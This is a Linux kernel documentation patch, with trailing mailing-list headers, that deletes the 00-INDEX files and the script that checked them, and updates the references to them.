diff --git a/Documentation/netlabel/introduction.txt b/Documentation/netlabel/introduction.txt
index 5ecd8d1..3caf77b 100644
--- a/Documentation/netlabel/introduction.txt
+++ b/Documentation/netlabel/introduction.txt
@@ -22,7 +22,7 @@ refrain from calling the protocol engines directly, instead they should use
 the NetLabel kernel security module API described below.
 
 Detailed information about each NetLabel protocol engine can be found in this
-directory, consult '00-INDEX' for filenames.
+directory.
 
  * Communication Layer
 
diff --git a/Documentation/networking/00-INDEX b/Documentation/networking/00-INDEX
deleted file mode 100644
index 02a323c..0000000
--- a/Documentation/networking/00-INDEX
+++ /dev/null
@@ -1,234 +0,0 @@
-00-INDEX
-	- this file
-3c509.txt
-	- information on the 3Com Etherlink III Series Ethernet cards.
-6pack.txt
-	- info on the 6pack protocol, an alternative to KISS for AX.25
-LICENSE.qla3xxx
-	- GPLv2 for QLogic Linux Networking HBA Driver
-LICENSE.qlge
-	- GPLv2 for QLogic Linux qlge NIC Driver
-LICENSE.qlcnic
-	- GPLv2 for QLogic Linux qlcnic NIC Driver
-PLIP.txt
-	- PLIP: The Parallel Line Internet Protocol device driver
-README.ipw2100
-	- README for the Intel PRO/Wireless 2100 driver.
-README.ipw2200
-	- README for the Intel PRO/Wireless 2915ABG and 2200BG driver.
-README.sb1000
-	- info on General Instrument/NextLevel SURFboard1000 cable modem.
-altera_tse.txt
-	- Altera Triple-Speed Ethernet controller.
-arcnet-hardware.txt
-	- tons of info on ARCnet, hubs, jumper settings for ARCnet cards, etc.
-arcnet.txt
-	- info on the using the ARCnet driver itself.
-atm.txt
-	- info on where to get ATM programs and support for Linux.
-ax25.txt
-	- info on using AX.25 and NET/ROM code for Linux
-baycom.txt
-	- info on the driver for Baycom style amateur radio modems
-bonding.txt
-	- Linux Ethernet Bonding Driver HOWTO: link aggregation in Linux.
-bridge.txt
-	- where to get user space programs for ethernet bridging with Linux.
-cdc_mbim.txt
-	- 3G/LTE USB modem (Mobile Broadband Interface Model)
-checksum-offloads.txt
-	- Explanation of checksum offloads; LCO, RCO
-cops.txt
-	- info on the COPS LocalTalk Linux driver
-cs89x0.txt
-	- the Crystal LAN (CS8900/20-based) Ethernet ISA adapter driver
-cxacru.txt
-	- Conexant AccessRunner USB ADSL Modem
-cxacru-cf.py
-	- Conexant AccessRunner USB ADSL Modem configuration file parser
-cxgb.txt
-	- Release Notes for the Chelsio N210 Linux device driver.
-dccp.txt
-	- the Datagram Congestion Control Protocol (DCCP) (RFC 4340..42).
-dctcp.txt
-	- DataCenter TCP congestion control
-de4x5.txt
-	- the Digital EtherWORKS DE4?? and DE5?? PCI Ethernet driver
-decnet.txt
-	- info on using the DECnet networking layer in Linux.
-dl2k.txt
-	- README for D-Link DL2000-based Gigabit Ethernet Adapters (dl2k.ko).
-dm9000.txt
-	- README for the Simtec DM9000 Network driver.
-dmfe.txt
-	- info on the Davicom DM9102(A)/DM9132/DM9801 fast ethernet driver.
-dns_resolver.txt
-	- The DNS resolver module allows kernel servies to make DNS queries.
-driver.txt
-	- Softnet driver issues.
-ena.txt
-	- info on Amazon's Elastic Network Adapter (ENA)
-e100.txt
-	- info on Intel's EtherExpress PRO/100 line of 10/100 boards
-e1000.txt
-	- info on Intel's E1000 line of gigabit ethernet boards
-e1000e.txt
-	- README for the Intel Gigabit Ethernet Driver (e1000e).
-eql.txt
-	- serial IP load balancing
-fib_trie.txt
-	- Level Compressed Trie (LC-trie) notes: a structure for routing.
-filter.txt
-	- Linux Socket Filtering
-fore200e.txt
-	- FORE Systems PCA-200E/SBA-200E ATM NIC driver info.
-framerelay.txt
-	- info on using Frame Relay/Data Link Connection Identifier (DLCI).
-gen_stats.txt
-	- Generic networking statistics for netlink users.
-generic-hdlc.txt
-	- The generic High Level Data Link Control (HDLC) layer.
-generic_netlink.txt
-	- info on Generic Netlink
-gianfar.txt
-	- Gianfar Ethernet Driver.
-i40e.txt
-	- README for the Intel Ethernet Controller XL710 Driver (i40e).
-i40evf.txt
-	- Short note on the Driver for the Intel(R) XL710 X710 Virtual Function
-ieee802154.txt
-	- Linux IEEE 802.15.4 implementation, API and drivers
-igb.txt
-	- README for the Intel Gigabit Ethernet Driver (igb).
-igbvf.txt
-	- README for the Intel Gigabit Ethernet Driver (igbvf).
-ip-sysctl.txt
-	- /proc/sys/net/ipv4/* variables
-ip_dynaddr.txt
-	- IP dynamic address hack e.g. for auto-dialup links
-ipddp.txt
-	- AppleTalk-IP Decapsulation and AppleTalk-IP Encapsulation
-iphase.txt
-	- Interphase PCI ATM (i)Chip IA Linux driver info.
-ipsec.txt
-	- Note on not compressing IPSec payload and resulting failed policy check.
-ipv6.txt
-	- Options to the ipv6 kernel module.
-ipvs-sysctl.txt
-	- Per-inode explanation of the /proc/sys/net/ipv4/vs interface.
-irda.txt
-	- where to get IrDA (infrared) utilities and info for Linux.
-ixgb.txt
-	- README for the Intel 10 Gigabit Ethernet Driver (ixgb).
-ixgbe.txt
-	- README for the Intel 10 Gigabit Ethernet Driver (ixgbe).
-ixgbevf.txt
-	- README for the Intel Virtual Function (VF) Driver (ixgbevf).
-l2tp.txt
-	- User guide to the L2TP tunnel protocol.
-lapb-module.txt
-	- programming information of the LAPB module.
-ltpc.txt
-	- the Apple or Farallon LocalTalk PC card driver
-mac80211-auth-assoc-deauth.txt
-	- authentication and association / deauth-disassoc with max80211
-mac80211-injection.txt
-	- HOWTO use packet injection with mac80211
-multiqueue.txt
-	- HOWTO for multiqueue network device support.
-netconsole.txt
-	- The network console module netconsole.ko: configuration and notes.
-netdev-features.txt
-	- Network interface features API description.
-netdevices.txt
-	- info on network device driver functions exported to the kernel.
-netif-msg.txt
-	- Design of the network interface message level setting (NETIF_MSG_*).
-netlink_mmap.txt
-	- memory mapped I/O with netlink
-nf_conntrack-sysctl.txt
-	- list of netfilter-sysctl knobs.
-nfc.txt
-	- The Linux Near Field Communication (NFS) subsystem.
-openvswitch.txt
-	- Open vSwitch developer documentation.
-operstates.txt
-	- Overview of network interface operational states.
-packet_mmap.txt
-	- User guide to memory mapped packet socket rings (PACKET_[RT]X_RING).
-phonet.txt
-	- The Phonet packet protocol used in Nokia cellular modems.
-phy.txt
-	- The PHY abstraction layer.
-pktgen.txt
-	- User guide to the kernel packet generator (pktgen.ko).
-policy-routing.txt
-	- IP policy-based routing
-ppp_generic.txt
-	- Information about the generic PPP driver.
-proc_net_tcp.txt
-	- Per inode overview of the /proc/net/tcp and /proc/net/tcp6 interfaces.
-radiotap-headers.txt
-	- Background on radiotap headers.
-ray_cs.txt
-	- Raylink Wireless LAN card driver info.
-rds.txt
-	- Background on the reliable, ordered datagram delivery method RDS.
-regulatory.txt
-	- Overview of the Linux wireless regulatory infrastructure.
-rxrpc.txt
-	- Guide to the RxRPC protocol.
-s2io.txt
-	- Release notes for Neterion Xframe I/II 10GbE driver.
-scaling.txt
-	- Explanation of network scaling techniques: RSS, RPS, RFS, aRFS, XPS.
-sctp.txt
-	- Notes on the Linux kernel implementation of the SCTP protocol.
-secid.txt
-	- Explanation of the secid member in flow structures.
-skfp.txt
-	- SysKonnect FDDI (SK-5xxx, Compaq Netelligent) driver info.
-smc9.txt
-	- the driver for SMC's 9000 series of Ethernet cards
-spider_net.txt
-	- README for the Spidernet Driver (as found in PS3 / Cell BE).
-stmmac.txt
-	- README for the STMicro Synopsys Ethernet driver.
-tc-actions-env-rules.txt
-	- rules for traffic control (tc) actions.
-timestamping.txt
-	- overview of network packet timestamping variants.
-tcp.txt
-	- short blurb on how TCP output takes place.
-tcp-thin.txt
-	- kernel tuning options for low rate 'thin' TCP streams.
-team.txt
-	- pointer to information for ethernet teaming devices.
-tlan.txt
-	- ThunderLAN (Compaq Netelligent 10/100, Olicom OC-2xxx) driver info.
-tproxy.txt
-	- Transparent proxy support user guide.
-tuntap.txt
-	- TUN/TAP device driver, allowing user space Rx/Tx of packets.
-udplite.txt
-	- UDP-Lite protocol (RFC 3828) introduction.
-vortex.txt
-	- info on using 3Com Vortex (3c590, 3c592, 3c595, 3c597) Ethernet cards.
-vxge.txt
-	- README for the Neterion X3100 PCIe Server Adapter.
-vxlan.txt
-	- Virtual extensible LAN overview
-x25.txt
-	- general info on X.25 development.
-x25-iface.txt
-	- description of the X.25 Packet Layer to LAPB device interface.
-xfrm_device.txt
-	- description of XFRM offload API
-xfrm_proc.txt
-	- description of the statistics package for XFRM.
-xfrm_sync.txt
-	- sync patches for XFRM enable migration of an SA between hosts.
-xfrm_sysctl.txt
-	- description of the XFRM configuration options.
-z8530drv.txt
-	- info about Linux driver for Z8530 based HDLC cards for AX.25
diff --git a/Documentation/parisc/00-INDEX b/Documentation/parisc/00-INDEX
deleted file mode 100644
index cbd0609..0000000
--- a/Documentation/parisc/00-INDEX
+++ /dev/null
@@ -1,6 +0,0 @@
-00-INDEX
-	- this file.
-debugging
-	- some debugging hints for real-mode code
-registers
-	- current/planned usage of registers
diff --git a/Documentation/power/00-INDEX b/Documentation/power/00-INDEX
deleted file mode 100644
index 7f3c2de..0000000
--- a/Documentation/power/00-INDEX
+++ /dev/null
@@ -1,44 +0,0 @@
-00-INDEX
-	- This file
-apm-acpi.txt
-	- basic info about the APM and ACPI support.
-basic-pm-debugging.txt
-	- Debugging suspend and resume
-charger-manager.txt
-	- Battery charger management.
-admin-guide/devices.rst
-	- How drivers interact with system-wide power management
-drivers-testing.txt
-	- Testing suspend and resume support in device drivers
-freezing-of-tasks.txt
-	- How processes and controlled during suspend
-interface.txt
-	- Power management user interface in /sys/power
-opp.txt
-	- Operating Performance Point library
-pci.txt
-	- How the PCI Subsystem Does Power Management
-pm_qos_interface.txt
-	- info on Linux PM Quality of Service interface
-power_supply_class.txt
-	- Tells userspace about battery, UPS, AC or DC power supply properties
-runtime_pm.txt
-	- Power management framework for I/O devices.
-s2ram.txt
-	- How to get suspend to ram working (and debug it when it isn't)
-states.txt
-	- System power management states
-suspend-and-cpuhotplug.txt
-	- Explains the interaction between Suspend-to-RAM (S3) and CPU hotplug
-swsusp-and-swap-files.txt
-	- Using swap files with software suspend (to disk)
-swsusp-dmcrypt.txt
-	- How to use dm-crypt and software suspend (to disk) together
-swsusp.txt
-	- Goals, implementation, and usage of software suspend (ACPI S3)
-tricks.txt
-	- How to trick software suspend (to disk) into working when it isn't
-userland-swsusp.txt
-	- Experimental implementation of software suspend in userspace
-video.txt
-	- Video issues during resume from suspend
diff --git a/Documentation/powerpc/00-INDEX b/Documentation/powerpc/00-INDEX
deleted file mode 100644
index 9dc845c..0000000
--- a/Documentation/powerpc/00-INDEX
+++ /dev/null
@@ -1,34 +0,0 @@
-Index of files in Documentation/powerpc.  If you think something about
-Linux/PPC needs an entry here, needs correction or you've written one
-please mail me.
-                                        Cort Dougan (cort@fsmlabs.com)
-
-00-INDEX
-	- this file
-bootwrapper.txt
-	- Information on how the powerpc kernel is wrapped for boot on various
-	  different platforms.
-cpu_features.txt
-	- info on how we support a variety of CPUs with minimal compile-time
-	options.
-cxl.txt
-	- Overview of the CXL driver.
-eeh-pci-error-recovery.txt
-	- info on PCI Bus EEH Error Recovery
-firmware-assisted-dump.txt
-	- Documentation on the firmware assisted dump mechanism "fadump".
-hvcs.txt
-	- IBM "Hypervisor Virtual Console Server" Installation Guide
-mpc52xx.txt
-	- Linux 2.6.x on MPC52xx family
-pmu-ebb.txt
-	- Description of the API for using the PMU with Event Based Branches.
-qe_firmware.txt
-	- describes the layout of firmware binaries for the Freescale QUICC
-	  Engine and the code that parses and uploads the microcode therein.
-ptrace.txt
-	- Information on the ptrace interfaces for hardware debug registers.
-transactional_memory.txt
-	- Overview of the Power8 transactional memory support.
-dscr.txt
-	- Overview DSCR (Data Stream Control Register) support.
diff --git a/Documentation/s390/00-INDEX b/Documentation/s390/00-INDEX
deleted file mode 100644
index 317f037..0000000
--- a/Documentation/s390/00-INDEX
+++ /dev/null
@@ -1,28 +0,0 @@
-00-INDEX
-	- this file.
-3270.ChangeLog
-	- ChangeLog for the UTS Global 3270-support patch (outdated).
-3270.txt
-	- how to use the IBM 3270 display system support.
-cds.txt
-	- s390 common device support (common I/O layer).
-CommonIO
-	- common I/O layer command line parameters, procfs and debugfs	entries
-config3270.sh
-	- example configuration for 3270 devices.
-DASD
-	- information on the DASD disk device driver.
-Debugging390.txt
-	- hints for debugging on s390 systems.
-driver-model.txt
-	- information on s390 devices and the driver model.
-monreader.txt
-	- information on accessing the z/VM monitor stream from Linux.
-qeth.txt
-	- HiperSockets Bridge Port Support.
-s390dbf.txt
-	- information on using the s390 debug feature.
-vfio-ccw.txt
-	  information on the vfio-ccw I/O subchannel driver.
-zfcpdump.txt
-	- information on the s390 SCSI dump tool.
diff --git a/Documentation/scheduler/00-INDEX b/Documentation/scheduler/00-INDEX
deleted file mode 100644
index eccf7ad..0000000
--- a/Documentation/scheduler/00-INDEX
+++ /dev/null
@@ -1,18 +0,0 @@
-00-INDEX
-	- this file.
-sched-arch.txt
-	- CPU Scheduler implementation hints for architecture specific code.
-sched-bwc.txt
-	- CFS bandwidth control overview.
-sched-design-CFS.txt
-	- goals, design and implementation of the Completely Fair Scheduler.
-sched-domains.txt
-	- information on scheduling domains.
-sched-nice-design.txt
-	- How and why the scheduler's nice levels are implemented.
-sched-rt-group.txt
-	- real-time group scheduling.
-sched-deadline.txt
-	- deadline scheduling.
-sched-stats.txt
-	- information on schedstats (Linux Scheduler Statistics).
diff --git a/Documentation/scsi/00-INDEX b/Documentation/scsi/00-INDEX
deleted file mode 100644
index bb4a76f..0000000
--- a/Documentation/scsi/00-INDEX
+++ /dev/null
@@ -1,108 +0,0 @@
-00-INDEX
-	- this file
-53c700.txt
-	- info on driver for 53c700 based adapters
-BusLogic.txt
-	- info on driver for adapters with BusLogic chips
-ChangeLog.1992-1997
-	- Changes to scsi files, if not listed elsewhere
-ChangeLog.arcmsr
-	- Changes to driver for ARECA's SATA RAID controller cards
-ChangeLog.ips
-	- IBM ServeRAID driver Changelog
-ChangeLog.lpfc
-	- Changes to lpfc driver
-ChangeLog.megaraid
-	- Changes to LSI megaraid controller.
-ChangeLog.megaraid_sas
-	- Changes to serial attached scsi version of LSI megaraid controller.
-ChangeLog.ncr53c8xx
-	- Changes to ncr53c8xx driver
-ChangeLog.sym53c8xx
-	- Changes to sym53c8xx driver
-ChangeLog.sym53c8xx_2
-	- Changes to second generation of sym53c8xx driver
-FlashPoint.txt
-	- info on driver for BusLogic FlashPoint adapters
-LICENSE.FlashPoint
-	- Licence of the Flashpoint driver
-LICENSE.qla2xxx
-	- License for QLogic Linux Fibre Channel HBA Driver firmware.
-LICENSE.qla4xxx
-	- License for QLogic Linux iSCSI HBA Driver.
-Mylex.txt
-	- info on driver for Mylex adapters
-NinjaSCSI.txt
-	- info on WorkBiT NinjaSCSI-32/32Bi driver
-aacraid.txt
-	- Driver supporting Adaptec RAID controllers
-advansys.txt
-	- List of Advansys Host Adapters
-aha152x.txt
-	- info on driver for Adaptec AHA152x based adapters
-aic79xx.txt
-	- Adaptec Ultra320 SCSI host adapters
-aic7xxx.txt
-	- info on driver for Adaptec controllers
-arcmsr_spec.txt
-	- ARECA FIRMWARE SPEC (for IOP331 adapter)
-bfa.txt
-	- Brocade FC/FCOE adapter driver.
-bnx2fc.txt
-	- FCoE hardware offload for Broadcom network interfaces.
-cxgb3i.txt
-	- Chelsio iSCSI Linux Driver
-dc395x.txt
-	- README file for the dc395x SCSI driver
-dpti.txt
-	- info on driver for DPT SmartRAID and Adaptec I2O RAID based adapters
-dtc3x80.txt
-	- info on driver for DTC 2x80 based adapters
-g_NCR5380.txt
-	- info on driver for NCR5380 and NCR53c400 based adapters
-hpsa.txt
-	- HP Smart Array Controller SCSI driver.
-hptiop.txt
-	- HIGHPOINT ROCKETRAID 3xxx RAID DRIVER
-libsas.txt
-	- Serial Attached SCSI management layer.
-link_power_management_policy.txt
-	- Link power management options.
-lpfc.txt
-	- LPFC driver release notes
-megaraid.txt
-	- Common Management Module, shared code handling ioctls for LSI drivers
-ncr53c8xx.txt
-	- info on driver for NCR53c8xx based adapters
-osd.txt
-	Object-Based Storage Device, command set introduction.
-osst.txt
-	- info on driver for OnStream SC-x0 SCSI tape
-ppa.txt
-	- info on driver for IOmega zip drive
-qlogicfas.txt
-	- info on driver for QLogic FASxxx based adapters
-scsi-changer.txt
-	- README for the SCSI media changer driver
-scsi-generic.txt
-	- info on the sg driver for generic (non-disk/CD/tape) SCSI devices.
-scsi-parameters.txt
-	- List of SCSI-parameters to pass to the kernel at module load-time.
-scsi.txt
-	- short blurb on using SCSI support as a module.
-scsi_mid_low_api.txt
-	- info on API between SCSI layer and low level drivers
-scsi_eh.txt
-	- info on SCSI midlayer error handling infrastructure
-scsi_fc_transport.txt
-	- SCSI Fiber Channel Tansport
-st.txt
-	- info on scsi tape driver
-sym53c500_cs.txt
-	- info on PCMCIA driver for Symbios Logic 53c500 based adapters
-sym53c8xx_2.txt
-	- info on second generation driver for sym53c8xx based adapters
-tmscsim.txt
-	- info on driver for AM53c974 based adapters
-ufs.txt
-	- info on Universal Flash Storage(UFS) and UFS host controller driver.
diff --git a/Documentation/serial/00-INDEX b/Documentation/serial/00-INDEX
deleted file mode 100644
index 8021a9f..0000000
--- a/Documentation/serial/00-INDEX
+++ /dev/null
@@ -1,16 +0,0 @@
-00-INDEX
-	- this file.
-README.cycladesZ
-	- info on Cyclades-Z firmware loading.
-driver
-	- intro to the low level serial driver.
-moxa-smartio
-	- file with info on installing/using Moxa multiport serial driver.
-n_gsm.txt
-	- GSM 0710 tty multiplexer howto.
-rocket.txt
-	- info on the Comtrol RocketPort multiport serial driver.
-serial-rs485.txt
-	- info about RS485 structures and support in the kernel.
-tty.txt
-	- guide to the locking policies of the tty layer.
diff --git a/Documentation/spi/00-INDEX b/Documentation/spi/00-INDEX
deleted file mode 100644
index 8e4bb17..0000000
--- a/Documentation/spi/00-INDEX
+++ /dev/null
@@ -1,16 +0,0 @@
-00-INDEX
-	- this file.
-butterfly
-	- AVR Butterfly SPI driver overview and pin configuration.
-ep93xx_spi
-	- Basic EP93xx SPI driver configuration.
-pxa2xx
-	- PXA2xx SPI master controller build by spi_message fifo wq
-spidev
-	- Intro to the userspace API for spi devices
-spi-lm70llp
-	- Connecting an LM70-LLP sensor to the kernel via the SPI subsys.
-spi-sc18is602
-	- NXP SC18IS602/603 I2C-bus to SPI bridge
-spi-summary
-	- (Linux) SPI overview. If unsure about SPI or SPI in Linux, start here.
diff --git a/Documentation/sysctl/00-INDEX b/Documentation/sysctl/00-INDEX
deleted file mode 100644
index 8cf5d49..0000000
--- a/Documentation/sysctl/00-INDEX
+++ /dev/null
@@ -1,16 +0,0 @@
-00-INDEX
-	- this file.
-README
-	- general information about /proc/sys/ sysctl files.
-abi.txt
-	- documentation for /proc/sys/abi/*.
-fs.txt
-	- documentation for /proc/sys/fs/*.
-kernel.txt
-	- documentation for /proc/sys/kernel/*.
-net.txt
-	- documentation for /proc/sys/net/*.
-sunrpc.txt
-	- documentation for /proc/sys/sunrpc/*.
-vm.txt
-	- documentation for /proc/sys/vm/*.
diff --git a/Documentation/timers/00-INDEX b/Documentation/timers/00-INDEX
deleted file mode 100644
index 3be05fe..0000000
--- a/Documentation/timers/00-INDEX
+++ /dev/null
@@ -1,16 +0,0 @@
-00-INDEX
-	- this file
-highres.txt
-	- High resolution timers and dynamic ticks design notes
-hpet.txt
-	- High Precision Event Timer Driver for Linux
-hrtimers.txt
-	- subsystem for high-resolution kernel timers
-NO_HZ.txt
-	- Summary of the different methods for the scheduler clock-interrupts management.
-timekeeping.txt
-	- Clock sources, clock events, sched_clock() and delay timer notes
-timers-howto.txt
-	- how to insert delays in the kernel the right (tm) way.
-timer_stats.txt
-	- timer usage statistics
diff --git a/Documentation/virtual/00-INDEX b/Documentation/virtual/00-INDEX
deleted file mode 100644
index af0d239..0000000
--- a/Documentation/virtual/00-INDEX
+++ /dev/null
@@ -1,11 +0,0 @@
-Virtualization support in the Linux kernel.
-
-00-INDEX
-	- this file.
-
-paravirt_ops.txt
-	- Describes the Linux kernel pv_ops to support different hypervisors
-kvm/
-	- Kernel Virtual Machine.  See also http://linux-kvm.org
-uml/
-	- User Mode Linux, builds/runs Linux kernel as a userspace program.
diff --git a/Documentation/virtual/kvm/00-INDEX b/Documentation/virtual/kvm/00-INDEX
deleted file mode 100644
index 3492458..0000000
--- a/Documentation/virtual/kvm/00-INDEX
+++ /dev/null
@@ -1,35 +0,0 @@
-00-INDEX
-	- this file.
-amd-memory-encryption.rst
-	- notes on AMD Secure Encrypted Virtualization feature and SEV firmware
-	  command description
-api.txt
-	- KVM userspace API.
-arm
-	- internal ABI between the kernel and HYP (for arm/arm64)
-cpuid.txt
-	- KVM-specific cpuid leaves (x86).
-devices/
-	- KVM_CAP_DEVICE_CTRL userspace API.
-halt-polling.txt
-	- notes on halt-polling
-hypercalls.txt
-	- KVM hypercalls.
-locking.txt
-	- notes on KVM locks.
-mmu.txt
-	- the x86 kvm shadow mmu.
-msr.txt
-	- KVM-specific MSRs (x86).
-nested-vmx.txt
-	- notes on nested virtualization for Intel x86 processors.
-ppc-pv.txt
-	- the paravirtualization interface on PowerPC.
-review-checklist.txt
-	- review checklist for KVM patches.
-s390-diag.txt
-	- Diagnose hypercall description (for IBM S/390)
-timekeeping.txt
-	- timekeeping virtualization for x86-based architectures.
-vcpu-requests.rst
-	- internal VCPU request API
diff --git a/Documentation/vm/00-INDEX b/Documentation/vm/00-INDEX
deleted file mode 100644
index f4a4f3e..0000000
--- a/Documentation/vm/00-INDEX
+++ /dev/null
@@ -1,50 +0,0 @@
-00-INDEX
-	- this file.
-active_mm.rst
-	- An explanation from Linus about tsk->active_mm vs tsk->mm.
-balance.rst
-	- various information on memory balancing.
-cleancache.rst
-	- Intro to cleancache and page-granularity victim cache.
-frontswap.rst
-	- Outline frontswap, part of the transcendent memory frontend.
-highmem.rst
-	- Outline of highmem and common issues.
-hmm.rst
-	- Documentation of heterogeneous memory management
-hugetlbfs_reserv.rst
-	- A brief overview of hugetlbfs reservation design/implementation.
-hwpoison.rst
-	- explains what hwpoison is
-ksm.rst
-	- how to use the Kernel Samepage Merging feature.
-mmu_notifier.rst
-	- a note about clearing pte/pmd and mmu notifications
-numa.rst
-	- information about NUMA specific code in the Linux vm.
-overcommit-accounting.rst
-	- description of the Linux kernels overcommit handling modes.
-page_frags.rst
-	- description of page fragments allocator
-page_migration.rst
-	- description of page migration in NUMA systems.
-page_owner.rst
-	- tracking about who allocated each page
-remap_file_pages.rst
-	- a note about remap_file_pages() system call
-slub.rst
-	- a short users guide for SLUB.
-split_page_table_lock.rst
-	- Separate per-table lock to improve scalability of the old page_table_lock.
-swap_numa.rst
-	- automatic binding of swap device to numa node
-transhuge.rst
-	- Transparent Hugepage Support, alternative way of using hugepages.
-unevictable-lru.rst
-	- Unevictable LRU infrastructure
-z3fold.txt
-	- outline of z3fold allocator for storing compressed pages
-zsmalloc.rst
-	- outline of zsmalloc allocator for storing compressed pages
-zswap.rst
-	- Intro to compressed cache for swap pages
diff --git a/Documentation/w1/00-INDEX b/Documentation/w1/00-INDEX
deleted file mode 100644
index cb49802..0000000
--- a/Documentation/w1/00-INDEX
+++ /dev/null
@@ -1,10 +0,0 @@
-00-INDEX
-	- This file
-slaves/
-	- Drivers that provide support for specific family codes.
-masters/
-	- Individual chips providing 1-wire busses.
-w1.generic
-	- The 1-wire (w1) bus
-w1.netlink
-	- Userspace communication protocol over connector [1].
diff --git a/Documentation/w1/masters/00-INDEX b/Documentation/w1/masters/00-INDEX
deleted file mode 100644
index 8330cf9..0000000
--- a/Documentation/w1/masters/00-INDEX
+++ /dev/null
@@ -1,12 +0,0 @@
-00-INDEX
-	- This file
-ds2482
-	- The Maxim/Dallas Semiconductor DS2482 provides 1-wire busses.
-ds2490
-	- The Maxim/Dallas Semiconductor DS2490 builds USB <-> W1 bridges.
-mxc-w1
-	- W1 master controller driver found on Freescale MX2/MX3 SoCs
-omap-hdq
-	- HDQ/1-wire module of TI OMAP 2430/3430.
-w1-gpio
-	- GPIO 1-wire bus master driver.
diff --git a/Documentation/w1/slaves/00-INDEX b/Documentation/w1/slaves/00-INDEX
deleted file mode 100644
index 68946f8..0000000
--- a/Documentation/w1/slaves/00-INDEX
+++ /dev/null
@@ -1,14 +0,0 @@
-00-INDEX
-	- This file
-w1_therm
-	- The Maxim/Dallas Semiconductor ds18*20 temperature sensor.
-w1_ds2413
-	- The Maxim/Dallas Semiconductor ds2413 dual channel addressable switch.
-w1_ds2423
-	- The Maxim/Dallas Semiconductor ds2423 counter device.
-w1_ds2438
-	- The Maxim/Dallas Semiconductor ds2438 smart battery monitor.
-w1_ds28e04
-	- The Maxim/Dallas Semiconductor ds28e04 eeprom.
-w1_ds28e17
-	- The Maxim/Dallas Semiconductor ds28e17 1-Wire-to-I2C Master Bridge.
diff --git a/Documentation/x86/00-INDEX b/Documentation/x86/00-INDEX
deleted file mode 100644
index 3bb2ee3..0000000
--- a/Documentation/x86/00-INDEX
+++ /dev/null
@@ -1,20 +0,0 @@
-00-INDEX
-	- this file
-boot.txt
-	- List of boot protocol versions
-earlyprintk.txt
-	- Using earlyprintk with a USB2 debug port key.
-entry_64.txt
-	- Describe (some of the) kernel entry points for x86.
-exception-tables.txt
-	- why and how Linux kernel uses exception tables on x86
-microcode.txt
-	- How to load microcode from an initrd-CPIO archive early to fix CPU issues.
-mtrr.txt
-	- how to use x86 Memory Type Range Registers to increase performance
-pat.txt
-	- Page Attribute Table intro and API
-usb-legacy-support.txt
-	- how to fix/avoid quirks when using emulated PS/2 mouse/keyboard.
-zero-page.txt
-	- layout of the first page of memory.
diff --git a/Documentation/x86/x86_64/00-INDEX b/Documentation/x86/x86_64/00-INDEX
deleted file mode 100644
index 92fc20a..0000000
--- a/Documentation/x86/x86_64/00-INDEX
+++ /dev/null
@@ -1,16 +0,0 @@
-00-INDEX
-	- This file
-boot-options.txt
-	- AMD64-specific boot options.
-cpu-hotplug-spec
-	- Firmware support for CPU hotplug under Linux/x86-64
-fake-numa-for-cpusets
-	- Using numa=fake and CPUSets for Resource Management
-kernel-stacks
-	- Context-specific per-processor interrupt stacks.
-machinecheck
-	- Configurable sysfs parameters for the x86-64 machine check code.
-mm.txt
-	- Memory layout of x86-64 (4 level page tables, 46 bits physical).
-uefi.txt
-	- Booting Linux via Unified Extensible Firmware Interface.
diff --git a/README b/README
index 2c927cc..669ac7c 100644
--- a/README
+++ b/README
@@ -12,7 +12,6 @@ In order to build the documentation, use ``make htmldocs`` or
 
 There are various text files in the Documentation/ subdirectory,
 several of them using the Restructured Text markup notation.
-See Documentation/00-INDEX for a list of what is contained in each file.
 
 Please read the Documentation/process/changes.rst file, as it contains the
 requirements for building and running the kernel, and information about
diff --git a/scripts/check_00index.sh b/scripts/check_00index.sh
deleted file mode 100755
index aa47f592..0000000
--- a/scripts/check_00index.sh
+++ /dev/null
@@ -1,67 +0,0 @@
-#!/bin/bash
-# SPDX-License-Identifier: GPL-2.0
-
-cd Documentation/
-
-# Check entries that should be removed
-
-obsolete=""
-for i in $(tail -n +12 00-INDEX |grep -E '^[a-zA-Z0-9]+'); do
-	if [ ! -e $i ]; then
-		obsolete="$obsolete $i"
-	fi
-done
-
-# Check directory entries that should be added
-search=""
-dir=""
-for i in $(find . -maxdepth 1 -type d); do
-	if [ "$i" != "." ]; then
-		new=$(echo $i|perl -ne 's,./(.*),$1/,; print $_')
-		search="$search $new"
-	fi
-done
-
-for i in $search; do
-	if [ "$(grep -P "^$i" 00-INDEX)" == "" ]; then
-		dir="$dir $i"
-	fi
-done
-
-# Check file entries that should be added
-search=""
-file=""
-for i in $(find . -maxdepth 1 -type f); do
-	if [ "$i" != "./.gitignore" ]; then
-		new=$(echo $i|perl -ne 's,./(.*),$1,; print $_')
-		search="$search $new"
-	fi
-done
-
-for i in $search; do
-	if [ "$(grep -P "^$i\$" 00-INDEX)" == "" ]; then
-		file="$file $i"
-	fi
-done
-
-# Output its findings
-
-echo -e "Documentation/00-INDEX check results:\n"
-
-if [ "$obsolete" != "" ]; then
-	echo -e "- Should remove those entries:\n\t$obsolete\n"
-else
-	echo -e "- No obsolete entries\n"
-fi
-
-if [ "$dir" != "" ]; then
-	echo -e "- Should document those directories:\n\t$dir\n"
-else
-	echo -e "- No new directories to add\n"
-fi
-
-if [ "$file" != "" ]; then
-	echo -e "- Should document those files:\n\t$file"
-else
-	echo "- No new files to add"
-fi
-- 
2.7.4



From - Thu Nov 08 21:41:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Mark Brown <broonie@kernel.org>
Newsgroups: gmane.comp.video.dri.devel,gmane.linux.ports.mips.general,gmane.comp.emulators.kvm.devel,gmane.linux.documentation,gmane.linux.kernel.lsm,gmane.linux.kernel.gpio,gmane.linux.kbuild.devel,gmane.linux.ports.parisc,gmane.linux.ide,gmane.linux.kernel.pci,gmane.linux.power-management.general,gmane.linux.kernel,gmane.linux.kernel.spi.devel,gmane.linux.network,gmane.linux.ports.ppc64.devel,gmane.linux.drivers.devicetree
Subject: Re: [PATCH] [RFC v2] Drop all 00-INDEX files from Documentation/
Date: Tue, 4 Sep 2018 11:41:29 +0100
Lines: 47
Approved: news@gmane.org
Message-ID: <20180904104129.GB12993@sirena.org.uk>
References: <1536012923-16275-1-git-send-email-henrik@austad.us>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="===============1866576464=="
X-Trace: blaine.gmane.org 1536059137 9122 195.159.176.226 (4 Sep 2018 11:05:37 GMT)
X-Complaints-To: usenet@blaine.gmane.org
